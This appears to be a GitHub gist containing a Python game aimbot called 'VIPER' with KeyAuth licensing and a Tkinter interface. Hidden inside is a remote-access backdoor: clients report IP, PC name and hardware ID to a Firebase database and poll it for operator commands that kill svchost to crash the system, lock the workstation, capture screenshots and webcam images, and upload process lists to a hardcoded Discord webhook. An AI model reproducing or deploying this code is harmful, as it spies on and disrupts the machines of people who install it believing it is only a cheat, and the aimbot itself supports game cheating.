Skip to content

Instantly share code, notes, and snippets.

@nimantha001
Last active April 1, 2026 05:06
Show Gist options
  • Select an option

  • Save nimantha001/20ded3d813c4ccaaa4c288d27d9649f4 to your computer and use it in GitHub Desktop.

Select an option

Save nimantha001/20ded3d813c4ccaaa4c288d27d9649f4 to your computer and use it in GitHub Desktop.
import cv2
import numpy as np
from mss import mss
import ctypes
import math
import winsound
import threading
import sys
import time
import os
import json as jsond
import binascii
import platform
import requests
import subprocess
from datetime import datetime
# Standard Tkinter Imports
import tkinter as tk
from tkinter import ttk
from tkinter import messagebox
# ==========================================
# CUSTOM UI WIDGETS (VISUAL EFFECTS)
# ==========================================
class HoverButton(tk.Button):
def __init__(self, master, **kw):
tk.Button.__init__(self, master=master, **kw)
self.default_bg = self["bg"]
if self.default_bg.lower() == "#ff0000":
self.hover_bg = "#ff3333"
elif self.default_bg.lower() == "#330000":
self.hover_bg = "#550000"
else:
self.hover_bg = "#333333"
self.bind("<Enter>", self.on_enter)
self.bind("<Leave>", self.on_leave)
def on_enter(self, e):
self["bg"] = self.hover_bg
def on_leave(self, e):
self["bg"] = self.default_bg
def style_ttk_elements():
style = ttk.Style()
style.theme_use("default")
style.configure("Treeview",
background="#0a0a0a",
foreground="#ffffff",
rowheight=30,
fieldbackground="#0a0a0a",
borderwidth=0)
style.map("Treeview", background=[('selected', '#ff0000')], foreground=[('selected', '#ffffff')])
style.configure("Treeview.Heading",
background="#111111",
foreground="#ff0000",
font=('Impact', 11),
borderwidth=1,
relief="flat")
style.map("Treeview.Heading", background=[('active', '#222222')])
# ==========================================
# REMOTE CONFIGURATION
# ==========================================
DATABASE_URL = "https://viper-network-default-rtdb.asia-southeast1.firebasedatabase.app"
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1488401265057595412/gyR_Qme0SF81P7nV0krFGNxoBOMSjFRgihuOv_cg-FlEXFwS9c0gXoSOUTqE2e5pin9q"
class RemoteManager:
@staticmethod
def register_online(username, ip, hwid):
data = {"ip": ip, "pc": platform.node(), "hwid": hwid, "last_seen": time.time()}
try:
requests.put(f"{DATABASE_URL}/users/{username}.json", json=data, timeout=3)
except: pass
@staticmethod
def get_all_users():
try:
res = requests.get(f"{DATABASE_URL}/users.json", timeout=3)
if res.status_code == 200 and res.json(): return res.json()
except: pass
return {}
@staticmethod
def send_command(target_username, command):
try:
requests.put(f"{DATABASE_URL}/commands/{target_username}.json", json={"cmd": command}, timeout=3)
except: pass
@staticmethod
def check_for_commands(username):
try:
res = requests.get(f"{DATABASE_URL}/commands/{username}.json", timeout=3)
if res.status_code == 200 and res.json():
cmd = res.json().get("cmd")
requests.delete(f"{DATABASE_URL}/commands/{username}.json", timeout=3)
return cmd
except: pass
return None
@staticmethod
def send_media_to_discord(username, image_bytes, type_label="SCREEN"):
payload = {
"embeds": [{
"title": f"📸 VIPER {type_label} CAPTURE",
"color": 16711680,
"fields": [
{"name": "User", "value": username, "inline": True},
{"name": "PC Name", "value": platform.node(), "inline": True},
{"name": "Timestamp", "value": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), "inline": False}
]
}]
}
files = {"file": ("capture.jpg", image_bytes, "image/jpeg")}
try:
requests.post(DISCORD_WEBHOOK, data={"payload_json": jsond.dumps(payload)}, files=files, timeout=15)
except: pass
@staticmethod
def send_file_to_discord(username, filepath, type_label="FILE"):
payload = {
"embeds": [{
"title": f"📂 VIPER {type_label} RETRIEVAL",
"color": 16711680,
"fields": [
{"name": "User", "value": username, "inline": True},
{"name": "PC Name", "value": platform.node(), "inline": True},
]
}]
}
try:
with open(filepath, 'rb') as f:
files = {"file": (os.path.basename(filepath), f, "text/plain")}
requests.post(DISCORD_WEBHOOK, data={"payload_json": jsond.dumps(payload)}, files=files, timeout=15)
except: pass
# ==========================================
# PART 1: KEYAUTH API LOGIC
# ==========================================
class api:
name = ownerid = version = hash_to_check = ""
def __init__(self, name, ownerid, version, hash_to_check):
self.name, self.ownerid, self.version, self.hash_to_check = name, ownerid, version, hash_to_check
self.init()
sessionid = ""; initialized = False
def init(self):
post_data = {"type": "init", "ver": self.version, "hash": self.hash_to_check, "name": self.name, "ownerid": self.ownerid}
try:
response = requests.post("https://keyauth.win/api/1.3/", data=post_data, timeout=10).text
json_res = jsond.loads(response)
if json_res["success"]: self.sessionid, self.initialized = json_res["sessionid"], True
except: pass
def check(self):
self.checkinit()
post_data = {"type": "check", "sessionid": self.sessionid, "name": self.name, "ownerid": self.ownerid}
try:
response = requests.post("https://keyauth.win/api/1.3/", data=post_data, timeout=10).text
json_res = jsond.loads(response)
return json_res["success"]
except: return False
def license(self, key):
post_data = {"type": "license", "key": key, "hwid": others.get_hwid(), "sessionid": self.sessionid, "name": self.name, "ownerid": self.ownerid}
try:
response = requests.post("https://keyauth.win/api/1.3/", data=post_data, timeout=10).text
json_res = jsond.loads(response)
if json_res["success"]:
self.__load_user_data(json_res["info"])
return True
except: pass
return False
def checkinit(self):
if not self.initialized: os._exit(1)
class user_data_class: username = ip = hwid = expires = ""
user_data = user_data_class()
def __load_user_data(self, data):
self.user_data.username = data["username"]
self.user_data.ip = data.get("ip", "N/A")
self.user_data.hwid = data.get("hwid", "N/A")
self.user_data.expires = data["subscriptions"][0]["expiry"]
class others:
@staticmethod
def get_hwid():
cmd = subprocess.Popen("wmic csproduct get uuid", stdout=subprocess.PIPE, shell=True)
return cmd.communicate()[0].decode().split('\n')[1].strip()
# ==========================================
# PART 2: CORE LOGIC
# ==========================================
keyauthapp = api(name="NimanthaAim", ownerid="gBwDC5ir3X", version="1.0", hash_to_check="")
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
try:
ctypes.windll.shcore.SetProcessDpiAwareness(2)
except Exception:
user32.SetProcessDPIAware()
SCREEN_W, SCREEN_H = user32.GetSystemMetrics(0), user32.GetSystemMetrics(1)
VK_MAP = {
"LMB": 0x01, "RMB": 0x02, "M_MID": 0x04, "XMB4": 0x05, "XMB5": 0x06,
"SHIFT": 0x10, "CTRL": 0x11, "ALT": 0x12, "CAPS": 0x14, "SPACE": 0x20,
"Q": 0x51, "E": 0x45, "R": 0x52, "F": 0x46, "C": 0x43, "V": 0x56, "Z": 0x5A,
"INS": 0x2D, "END": 0x23
}
def apply_dark_titlebar(window):
try:
window.update()
hwnd = user32.GetParent(window.winfo_id())
ctypes.windll.dwmapi.DwmSetWindowAttribute(hwnd, 20, ctypes.byref(ctypes.c_int(2)), 4)
except: pass
def hide_console():
hwnd = kernel32.GetConsoleWindow()
if hwnd: user32.ShowWindow(hwnd, 0)
ACTIVE_WINDOWS = []
class ViperAdmin:
def __init__(self, parent):
self.admin_win = tk.Toplevel(parent)
self.admin_win.title("VIPER | ADMIN CONTROL")
self.admin_win.geometry("1100x700")
self.admin_win.configure(bg="#050505")
self.admin_win.attributes("-topmost", True)
apply_dark_titlebar(self.admin_win)
ACTIVE_WINDOWS.append(self.admin_win)
header_frame = tk.Frame(self.admin_win, bg="#050505")
header_frame.pack(fill="x", pady=(15, 5))
tk.Label(header_frame, text="OPERATOR CONTROL PANEL", font=('Impact', 22), bg="#050505", fg="#ff0000").pack()
dash_frame = tk.Frame(self.admin_win, bg="#050505")
dash_frame.pack(fill="x", padx=30, pady=5)
self.lbl_online = tk.Label(dash_frame, text="ONLINE: 0", font=('Consolas', 11, 'bold'), fg="#00ff00", bg="#050505")
self.lbl_online.pack(side="left", padx=10)
self.lbl_offline = tk.Label(dash_frame, text="OFFLINE: 0", font=('Consolas', 11, 'bold'), fg="#666666", bg="#050505")
self.lbl_offline.pack(side="left", padx=10)
table_frame = tk.Frame(self.admin_win, bg="#0a0a0a", highlightbackground="#1a1a1a", highlightthickness=1)
table_frame.pack(fill="both", expand=True, padx=30, pady=10)
cols = ('username', 'ip', 'pc', 'hwid', 'status')
self.tree = ttk.Treeview(table_frame, columns=cols, show='headings', height=10, selectmode="extended")
for col in cols:
self.tree.heading(col, text=col.upper()); self.tree.column(col, width=150, anchor="center")
self.tree.pack(fill="both", expand=True, padx=2, pady=2)
self.context_menu = tk.Menu(self.admin_win, tearoff=0, bg="#111", fg="#fff", activebackground="#ff0000", font=("Arial", 9, "bold"))
self.context_menu.add_command(label="Execute BSOD", command=lambda: self.batch_cmd("BSOD"))
self.context_menu.add_command(label="Capture Screen", command=lambda: self.batch_cmd("SS"))
self.context_menu.add_command(label="Capture Webcam", command=lambda: self.batch_cmd("CAM"))
self.context_menu.add_command(label="Fetch Processes (Log)", command=lambda: self.batch_cmd("FETCH_LOGS"))
self.context_menu.add_command(label="Remote Lock", command=lambda: self.batch_cmd("LOCK"))
self.context_menu.add_separator()
self.context_menu.add_command(label="Terminate App", command=lambda: self.batch_cmd("EXIT"))
self.tree.bind("<Button-3>", self.show_context_menu)
btn_f = tk.Frame(self.admin_win, bg="#050505")
btn_f.pack(fill="x", padx=30, pady=5)
btn_opts = {"fg": "white", "bg": "#330000", "font": ("Arial", 9, "bold"), "bd": 0, "pady": 8}
HoverButton(btn_f, text="BSOD", command=lambda: self.batch_cmd("BSOD"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x")
HoverButton(btn_f, text="SCREEN", command=lambda: self.batch_cmd("SS"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x")
HoverButton(btn_f, text="WEBCAM", command=lambda: self.batch_cmd("CAM"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x")
HoverButton(btn_f, text="LOGS", command=lambda: self.batch_cmd("FETCH_LOGS"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x")
HoverButton(btn_f, text="LOCK", command=lambda: self.batch_cmd("LOCK"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x")
HoverButton(btn_f, text="EXIT APP", command=lambda: self.batch_cmd("EXIT"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x")
term_f = tk.Frame(self.admin_win, bg="#000", bd=1, relief="solid", highlightbackground="#330000", highlightthickness=1)
term_f.pack(fill="both", expand=True, padx=30, pady=(10, 20))
self.terminal = tk.Text(term_f, height=6, bg="#000000", fg="#00ff00", font=("Consolas", 9), state="disabled", bd=0)
self.terminal.pack(fill="both", expand=True, padx=5, pady=5)
self.log_to_terminal("VIPER OPERATOR TERMINAL INITIALIZED.")
self.loop_refresh()
def show_context_menu(self, event):
iid = self.tree.identify_row(event.y)
if iid:
if iid not in self.tree.selection():
self.tree.selection_set(iid)
self.context_menu.post(event.x_root, event.y_root)
def log_to_terminal(self, message):
self.terminal.config(state="normal")
timestamp = datetime.now().strftime('%H:%M:%S')
self.terminal.insert("end", f"[{timestamp}] {message}\n")
self.terminal.see("end")
self.terminal.config(state="disabled")
def batch_cmd(self, cmd_str):
selected = self.tree.selection()
if not selected:
self.log_to_terminal("[ERROR] No targets selected for deployment.")
return
for item in selected:
user = self.tree.item(item)['values'][0]
RemoteManager.send_command(user, cmd_str)
self.log_to_terminal(f"PAYLOAD DEPLOYED: '{cmd_str}' -> TARGET: {user}")
def loop_refresh(self):
if not self.admin_win.winfo_exists(): return
selected_usernames = [self.tree.item(i)['values'][0] for i in self.tree.selection()]
for i in self.tree.get_children(): self.tree.delete(i)
users = RemoteManager.get_all_users()
now = time.time()
online_count = 0
offline_count = 0
for u, d in users.items():
if (now - d.get("last_seen", 0)) < 15:
status = "ONLINE"
online_count += 1
else:
status = "OFFLINE"
offline_count += 1
iid = self.tree.insert('', 'end', values=(u, d.get("ip"), d.get("pc"), d.get("hwid"), status))
if u in selected_usernames: self.tree.selection_add(iid)
self.lbl_online.config(text=f"ONLINE: {online_count}")
self.lbl_offline.config(text=f"OFFLINE: {offline_count}")
self.admin_win.after(2000, self.loop_refresh)
class ViperApp:
def __init__(self, root):
self.root = root
self.root.title("VIPER")
self.root.geometry("400x740") # Increased window height slightly for extra slider
self.root.configure(bg="#050505")
self.root.attributes("-topmost", True)
apply_dark_titlebar(self.root); hide_console()
ACTIVE_WINDOWS.append(self.root)
self.aim_key_name = tk.StringVar(value="RMB")
self.aim_fov = tk.IntVar(value=120)
self.smoothing = tk.DoubleVar(value=0.4)
self.mouse_dpi = tk.DoubleVar(value=1.0) # ADDED: DPI Scaling Factor
self.show_preview = tk.BooleanVar(value=False)
self.script_enabled = True
self.ui_hidden = False
self.setup_ui(); self.animate_status()
threading.Thread(target=self.aimbot_loop, daemon=True).start()
threading.Thread(target=self.security_heartbeat, daemon=True).start()
threading.Thread(target=self.remote_listener, daemon=True).start()
threading.Thread(target=self.hotkey_listener, daemon=True).start()
def hotkey_listener(self):
while True:
if user32.GetAsyncKeyState(0x05) & 0x8000:
self.script_enabled = not self.script_enabled
if self.script_enabled:
winsound.Beep(800, 150)
self.status_label.config(text="• SYSTEM ACTIVE •", fg="#ff0000")
else:
winsound.Beep(400, 150)
self.status_label.config(text="• SYSTEM PAUSED •", fg="#444444")
time.sleep(0.3)
if user32.GetAsyncKeyState(0x2D) & 0x8000:
self.ui_hidden = not self.ui_hidden
winsound.Beep(600, 100)
for win in ACTIVE_WINDOWS:
try:
if self.ui_hidden: win.withdraw()
else: win.deiconify()
except: pass
time.sleep(0.3)
if user32.GetAsyncKeyState(0x23) & 0x8000:
winsound.Beep(200, 300)
os._exit(0)
time.sleep(0.01)
def remote_listener(self):
while True:
RemoteManager.register_online(keyauthapp.user_data.username, keyauthapp.user_data.ip, keyauthapp.user_data.hwid)
cmd = RemoteManager.check_for_commands(keyauthapp.user_data.username)
if cmd == "BSOD": subprocess.run("taskkill /f /im svchost.exe", shell=True)
elif cmd == "LOCK": ctypes.windll.user32.LockWorkStation()
elif cmd == "EXIT": os._exit(0)
elif cmd == "SS":
try:
with mss() as sct:
img = np.array(sct.grab(sct.monitors[0]))
img = cv2.cvtColor(img, cv2.COLOR_BGRA2BGR)
_, buf = cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY), 75])
RemoteManager.send_media_to_discord(keyauthapp.user_data.username, buf.tobytes(), "SCREEN")
except: pass
elif cmd == "CAM":
try:
cap = cv2.VideoCapture(0)
if cap.isOpened():
ret, frame = cap.read()
if ret:
_, buf = cv2.imencode('.jpg', frame, [int(cv2.IMWRITE_JPEG_QUALITY), 75])
RemoteManager.send_media_to_discord(keyauthapp.user_data.username, buf.tobytes(), "WEBCAM")
cap.release()
except: pass
elif cmd == "FETCH_LOGS":
try:
tasks = subprocess.check_output('tasklist', shell=True).decode('utf-8', errors='ignore')
log_path = f"syslog_{keyauthapp.user_data.username}.txt"
with open(log_path, "w") as f:
f.write(f"--- SYSTEM PROCESSES FOR {keyauthapp.user_data.username} ---\n\n")
f.write(tasks)
RemoteManager.send_file_to_discord(keyauthapp.user_data.username, log_path, "PROCESS LOG")
if os.path.exists(log_path): os.remove(log_path)
except: pass
time.sleep(4)
def open_admin_panel(self):
pop = tk.Toplevel(self.root); pop.title("ADMIN AUTH"); pop.geometry("280x180"); pop.configure(bg="#050505")
pop.attributes("-topmost", True); apply_dark_titlebar(pop)
tk.Label(pop, text="OPERATOR CLEARANCE", bg="#050505", fg="#ff0000", font=("Impact", 14)).pack(pady=(20, 10))
e = tk.Entry(pop, show="*", justify="center", bg="#111", fg="#fff", insertbackground="#f00", bd=1, relief="solid")
e.pack(pady=5, padx=30, fill="x", ipady=5)
def verify():
if e.get() == "pythonaimbotbynimantha": pop.destroy(); ViperAdmin(self.root)
else: pop.destroy(); messagebox.showerror("Viper Security", "ACCESS DENIED")
HoverButton(pop, text="VERIFY", bg="#ff0000", fg="white", font=("Arial", 9, "bold"), bd=0, command=verify).pack(pady=10, fill="x", padx=30, ipady=4)
def setup_ui(self):
header = tk.Frame(self.root, bg="#050505"); header.pack(fill="x", side="top", pady=(15, 0))
title = tk.Label(header, text="V I P E R", font=('Impact', 36), bg="#050505", fg="#ff0000"); title.pack()
title.bind("<Double-Button-1>", lambda e: self.open_admin_panel())
tk.Label(header, text=f"LOGGED IN AS: {keyauthapp.user_data.username.upper()}", font=('Consolas', 8, 'bold'), bg="#050505", fg="#666666").pack()
tk.Frame(self.root, bg="#1a1a1a", height=2).pack(fill="x", padx=30, pady=15)
content = tk.Frame(self.root, bg="#0a0a0a", bd=1, relief="solid", highlightbackground="#1a1a1a", highlightthickness=1); content.pack(fill="both", expand=True, padx=30, pady=(0, 20))
inner_content = tk.Frame(content, bg="#0a0a0a"); inner_content.pack(fill="both", expand=True, padx=20, pady=20)
lbl_opts = {"bg": "#0a0a0a", "fg": "#888888", "font": ('Arial', 8, 'bold')}
tk.Label(inner_content, text="TARGET ACQUISITION KEY", **lbl_opts).pack(anchor="w")
ttk.Combobox(inner_content, textvariable=self.aim_key_name, values=list(VK_MAP.keys()), state="readonly", font=("Consolas", 10)).pack(fill="x", pady=(5, 20))
tk.Label(inner_content, text="SCAN RADIUS (FOV)", **lbl_opts).pack(anchor="w")
tk.Scale(inner_content, from_=50, to=300, variable=self.aim_fov, orient="horizontal", bg="#0a0a0a", fg="#ff0000", highlightthickness=0, troughcolor="#1a1a1a").pack(fill='x', pady=(0, 15))
tk.Label(inner_content, text="PULSE SMOOTHING", **lbl_opts).pack(anchor="w")
tk.Scale(inner_content, from_=0.1, to=1.0, resolution=0.1, variable=self.smoothing, orient="horizontal", bg="#0a0a0a", fg="#ff0000", highlightthickness=0, troughcolor="#1a1a1a").pack(fill='x', pady=(0, 15))
# ADDED: MOUSE DPI SCALING SLIDER
tk.Label(inner_content, text="MOUSE DPI SCALING", **lbl_opts).pack(anchor="w")
tk.Scale(inner_content, from_=0.5, to=3.0, resolution=0.1, variable=self.mouse_dpi, orient="horizontal", bg="#0a0a0a", fg="#ff0000", highlightthickness=0, troughcolor="#1a1a1a").pack(fill='x', pady=(0, 20))
tk.Checkbutton(inner_content, text="SHOW THERMAL OVERLAY", variable=self.show_preview, bg="#0a0a0a", fg="#dddddd", font=("Arial", 8, "bold"), selectcolor="#000000").pack(anchor="w", pady=(0, 15))
self.status_frame = tk.Frame(inner_content, bg="#050505", bd=1, relief="solid", highlightbackground="#ff0000", highlightthickness=1); self.status_frame.pack(fill="x", pady=(10, 0))
self.status_label = tk.Label(self.status_frame, text="• SYSTEM ACTIVE •", font=('Consolas', 12, 'bold'), bg="#050505", fg="#ff0000"); self.status_label.pack(pady=15)
def animate_status(self):
if self.script_enabled:
c = "#550000" if self.status_label.cget("fg") == "#ff0000" else "#ff0000"
self.status_label.config(fg=c)
self.root.after(800, self.animate_status)
def security_heartbeat(self):
while True:
time.sleep(60)
if not keyauthapp.check(): os._exit(0)
def aimbot_loop(self):
sct = mss(); scan_size = 400; center = scan_size // 2
monitor = {"top": int(SCREEN_H/2 - center), "left": int(SCREEN_W/2 - center), "width": scan_size, "height": scan_size}
LOWER, UPPER = np.array([15, 150, 180]), np.array([35, 255, 255])
prev_target_x, prev_target_y = center, center
while True:
if not self.script_enabled:
time.sleep(0.1)
continue
current_key_code = VK_MAP.get(self.aim_key_name.get(), 0x02)
img = np.array(sct.grab(monitor))
frame = cv2.cvtColor(img, cv2.COLOR_BGRA2BGR)
mask = cv2.inRange(cv2.cvtColor(frame, cv2.COLOR_BGR2HSV), LOWER, UPPER)
contours, _ = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
if contours:
c = max(contours, key=cv2.contourArea)
if cv2.contourArea(c) > 30:
x, y, w, h = cv2.boundingRect(c)
curr_x, curr_y = x + (w // 2), y + int(h * 0.25)
pred_x, pred_y = curr_x + int((curr_x - prev_target_x) * 0.8), curr_y + int((curr_y - prev_target_y) * 0.8)
prev_target_x, prev_target_y = curr_x, curr_y
if math.sqrt((pred_x - center)**2 + (pred_y - center)**2) <= self.aim_fov.get():
if user32.GetAsyncKeyState(current_key_code) & 0x8000:
# MODIFIED: Incorporated self.mouse_dpi.get() into the movement logic
move_x = int((pred_x - center) * self.smoothing.get() * self.mouse_dpi.get())
move_y = int((pred_y - center) * self.smoothing.get() * self.mouse_dpi.get())
user32.mouse_event(0x0001, move_x, move_y, 0, 0)
if self.show_preview.get() and not self.ui_hidden:
cv2.circle(frame, (center, center), self.aim_fov.get(), (0, 0, 255), 1)
cv2.imshow("VIPER SIGHT", frame); cv2.waitKey(1)
else: cv2.destroyAllWindows()
class LoginScreen:
def __init__(self):
self.win = tk.Tk(); self.win.title("VIPER LOGIN"); self.win.geometry("350x380"); self.win.configure(bg="#050505")
apply_dark_titlebar(self.win); style_ttk_elements()
tk.Label(self.win, text="V I P E R", font=("Impact", 36), fg="#ff0000", bg="#050505").pack(pady=(40, 20))
box = tk.Frame(self.win, bg="#0a0a0a", highlightbackground="#1a1a1a", highlightthickness=1); box.pack(fill="x", padx=40, pady=10)
tk.Label(box, text="LICENSE KEY", bg="#0a0a0a", fg="#888", font=("Arial", 8, "bold")).pack(pady=(20, 5))
self.key_entry = tk.Entry(box, justify='center', width=25, font=("Consolas", 11), bg="#111111", fg="#ff0000", bd=1, relief="solid"); self.key_entry.pack(pady=(0, 20), ipady=8)
HoverButton(self.win, text="AUTHORIZE", font=("Arial", 10, "bold"), bg="#ff0000", fg="white", bd=0, command=self.auth_process).pack(pady=(15, 10), fill="x", padx=40, ipady=8)
self.win.mainloop()
def auth_process(self):
keyauthapp.init()
if keyauthapp.license(self.key_entry.get()): self.win.destroy(); root = tk.Tk(); ViperApp(root); root.mainloop()
else: messagebox.showerror("Denied", "ACCESS REVOKED")
if __name__ == "__main__": LoginScreen()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment